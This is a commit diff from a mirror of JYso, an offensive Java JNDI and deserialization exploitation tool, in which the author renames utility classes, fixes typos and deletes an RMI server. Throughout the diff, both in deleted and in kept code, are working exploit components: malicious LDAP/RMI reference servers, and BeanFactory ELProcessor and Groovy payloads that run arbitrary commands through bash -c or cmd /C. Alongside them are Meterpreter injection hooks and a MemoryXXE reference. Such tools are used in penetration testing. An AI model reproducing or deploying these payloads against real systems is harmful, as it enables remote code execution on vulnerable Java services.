archive/JYso
1
0
Fork 0
mirror of https://github.com/qi4L/JYso.git synced 2026-09-21 22:40:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: 修复JNDI模块多个告

Browse Source 
警
This commit is contained in:
qi4l
2026-03-26 14:40:12 +08:00
parent e3cdf5148c
commit 3411d085a7
221 changed files with 2002 additions and 2955 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/com/qi4l/JYso/HTTPServer.java
+2 -3
View File
@@ -3,7 +3,7 @@ package com.qi4l.JYso;
import cn.hutool.core.io.file.FileReader;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Cache;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.DnslogTemplate;
import com.qi4l.JYso.template.ReverseShellTemplate;
@@ -20,7 +20,6 @@ import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
@@ -599,7 +598,7 @@ public class HTTPServer {
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
String jarName = Utils.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
src/main/java/com/qi4l/JYso/LdapServer.java
+2 -2
View File
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.AESUtils;
import com.qi4l.JYso.controllers.utils.JNDIUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
@@ -86,7 +86,7 @@ public class LdapServer extends InMemoryOperationInterceptor {
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
base = AESUtils.decrypt(base, AESkey);
base = JNDIUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
src/main/java/com/qi4l/JYso/RMIServer.java
-323
View File
@@ -1,323 +0,0 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static org.fusesource.jansi.Ansi.ansi;
/**
* Generic JRMP listener
* <p>
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
* <p>
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
private final ServerSocket ss;
private final Object waitLock = new Object();
private final URL classpathUrl;
private boolean exit;
public RMIServer(int port, URL classpathUrl) throws IOException {
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
}
public static void start() {
String url = "http://" + ip + ":" + rmiPort;
try {
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >> " + rmiPort + "..."));
RMIServer c = new RMIServer(rmiPort, new URL(url));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
public static ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
command
)));
return ref;
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
@Override
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
//System.err.println("[+] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try (DataOutputStream out = new DataOutputStream(bufOut)) {
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
//System.err.println("[+] RMI服务器 >> 正在读取信息");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException(" RMI 服务器 >> 无法识别：" + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
}
throw new IOException(" RMI 服务器 >> 无法读取 Object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
}
if (read.hashCode() == 2) {
// DGC
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (handleRMI(ois, out)) {
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
}
}
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if (method != 2) { // lookup
return false;
}
String object = (String) ois.readObject();
//System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
out.writeByte(TransportConstants.Return); // transport op
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//反射调用的类名
ReferenceWrapper rw = null;
if (object.startsWith("ELProcessor")) {
ResourceRef result = ELProcessor.refTomcatBypass(object);
rw = new ReferenceWrapper(result);
} else if (object.startsWith("basic")) {
rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reference result = Basic.basic(object);
Reflections.setFieldValue(rw, "wrappee", result);
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private final URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
src/main/java/com/qi4l/JYso/Starter.java
+5 -7
View File
@@ -10,15 +10,15 @@ import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
// 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
public static boolean JYsoMode = false;
static {
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
public static boolean JYsoMode = false;
public static void main(String[] args) throws Exception {
// 如果参数中包含-j，则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
@@ -28,12 +28,10 @@ public class Starter {
HTTPServer.start();
if (Config.TLSProxy) {
TLSProxy.start();
} else {
//RMIServer.start();
}
}
// 如果参数中包含-y，则启动 ysuserial
// 如果参数中包含-y，则启动 ysu serial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
src/main/java/com/qi4l/JYso/TLSProxy.java
+1 -1
View File
@@ -31,7 +31,7 @@ public class TLSProxy {
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "..."));
new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile,Config.keyPass).run();
new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyPass).run();
}
public void run() {
src/main/java/com/qi4l/JYso/controllers/BasicController.java
+31 -24
View File
@@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
@@ -14,6 +14,8 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.net.URL;
import java.nio.charset.StandardCharsets;
@@ -25,6 +27,7 @@ import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static final Logger log = LoggerFactory.getLogger(BasicController.class);
private static String payloadType;
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
@@ -32,6 +35,24 @@ public class BasicController implements LdapController {
private String[] params = new String[0];
private GadgetType gadgetType;
static String getStringQ(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -49,21 +70,21 @@ public class BasicController implements LdapController {
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
log.error(String.valueOf(er));
}
}
// 解析请求路径，确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Refenrence Links ");
System.out.println("- JNDI Remote Reference Links ");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
@@ -123,20 +144,20 @@ public class BasicController implements LdapController {
switch (gadgetType) {
case base64:
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Util.getCmdFromBase(base);
String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Util.getIPAndPortFromBase(base);
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemotHost: " + results[0]);
System.out.println(" RemotPort: " + results[1]);
System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotePort: " + results[1]);
return results;
default:
return new String[0];
@@ -145,21 +166,7 @@ public class BasicController implements LdapController {
// 提取路径中第 index 个非空段，保持与原解析逻辑一致。
private String segment(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
return getStringQ(base, index);
}
// 返回连字符后的子串，用于解析自定义类名。
src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
+27 -39
View File
@@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
@@ -14,13 +14,14 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
import static com.qi4l.JYso.controllers.BasicController.getStringQ;
@LdapMapping(uri = {"/elprocessor"})
@@ -28,6 +29,7 @@ public class ELProcessorController implements LdapController {
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
private static final Logger log = LoggerFactory.getLogger(ELProcessorController.class);
private String payloadType;
// 记录解析请求时提取出的命令参数或回连信息。
@@ -53,26 +55,26 @@ public class ELProcessorController implements LdapController {
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", buildPayloadScript()));
entry.addAttribute("javaSerializedData", Util.serialize(ref));
entry.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
log.error(String.valueOf(er));
}
}
// 解析请求路径，确定 payload 类型及其所需参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
try {
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
@@ -97,7 +99,7 @@ public class ELProcessorController implements LdapController {
} else if (payloadType.contains("command")) {
scriptBody = helper.getExecCode(params[0]);
} else if (payloadType.contains("msf")) {
scriptBody = helper.injectMeterpreter();
scriptBody = helper.injectInterpreter();
} else {
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
@@ -123,20 +125,20 @@ public class ELProcessorController implements LdapController {
switch (gadgetType) {
case base64:
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Util.getCmdFromBase(base);
String decoded = new String(Util.base64Decode(encoded));
String encoded = Utils.getCmdFromBase(base);
String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Util.getIPAndPortFromBase(base);
String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println("[+] RemotHost: " + results[0]);
System.out.println("[+] RemotPort: " + results[1]);
System.out.println("[+] RemoteHost: " + results[0]);
System.out.println("[+] RemotePort: " + results[1]);
return results;
default:
return new String[0];
@@ -145,21 +147,7 @@ public class ELProcessorController implements LdapController {
// 提取路径中的第 index 个非空段，保持与原有解析方式一致。
private String segment(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int next = base.indexOf('/', cursor);
if (next == -1) next = base.length();
if (next > cursor) {
if (found == index) {
return base.substring(cursor, next);
}
found++;
}
cursor = next + 1;
}
return "";
return getStringQ(base, index);
}
// 返回连字符后的子串，用于解析自定义类名。
@@ -170,7 +158,7 @@ public class ELProcessorController implements LdapController {
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑，保持主控制器简洁。
private class TomcatBypassHelper {
String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> clazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field host = clazz.getDeclaredField("host");
host.setAccessible(true);
@@ -182,18 +170,18 @@ public class ELProcessorController implements LdapController {
return InjShell.injectClass(clazz);
}
String getExecCode(String cmd) throws IOException {
return "var strs=new Array(3);\n"
String getExecCode(String cmd) {
return "var str_s=new Array(3);\n"
+ " if(java.io.File.separator.equals('/')){\n"
+ " strs[0]='/bin/bash';\n"
+ " strs[1]='-c';\n"
+ " strs[2]='" + cmd + "';\n"
+ " str_s[0]='/bin/bash';\n"
+ " str_s[1]='-c';\n"
+ " str_s[2]='" + cmd + "';\n"
+ " }else{\n"
+ " strs[0]='cmd';\n"
+ " strs[1]='/C';\n"
+ " strs[2]='" + cmd + "';\n"
+ " str_s[0]='cmd';\n"
+ " str_s[1]='/C';\n"
+ " str_s[2]='" + cmd + "';\n"
+ " }\n"
+ " java.lang.Runtime.getRuntime().exec(strs);";
+ " java.lang.Runtime.getRuntime().exec(str_s);";
}
}
}
src/main/java/com/qi4l/JYso/controllers/GroovyController.java
+10 -20
View File
@@ -1,9 +1,8 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -13,8 +12,6 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - Tomcat and Groovy in classpath
@@ -29,13 +26,7 @@ import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private PayloadType type;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -45,9 +36,14 @@ public class GroovyController implements LdapController {
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
@@ -55,22 +51,16 @@ public class GroovyController implements LdapController {
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + Groovy");
System.out.println("- JNDI LDAP Local Reference Links + Groovy");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
+5 -14
View File
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -16,8 +16,7 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController{
private String payloadType;
public class MemoryXXEController implements LdapController {
private String[] params;
private GadgetType gadgetType;
@@ -28,31 +27,23 @@ public class MemoryXXEController implements LdapController{
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Util.serialize(ref));
e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE");
System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
@@ -61,7 +52,7 @@ public class MemoryXXEController implements LdapController{
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java
-19
View File
@@ -1,19 +0,0 @@
package com.qi4l.JYso.controllers;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
+10 -10
View File
@@ -7,27 +7,26 @@ import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.cli.CommandLine;
import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
private static final Logger log = LoggerFactory.getLogger(SerializedDataController.class);
public static String gadgetType;
public static String cmd11;
public static GadgetType gadgetType1;
public static CommandLine cmdLine;
private PayloadType payloadType;
private String params;
@Override
@@ -54,7 +53,7 @@ public class SerializedDataController implements LdapController {
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
log.error(String.valueOf(er));
}
}
@@ -67,9 +66,9 @@ public class SerializedDataController implements LdapController {
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset());
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1);
@@ -77,6 +76,7 @@ public class SerializedDataController implements LdapController {
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在，则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前（不包括第三个斜杠）所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
@@ -93,11 +93,11 @@ public class SerializedDataController implements LdapController {
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
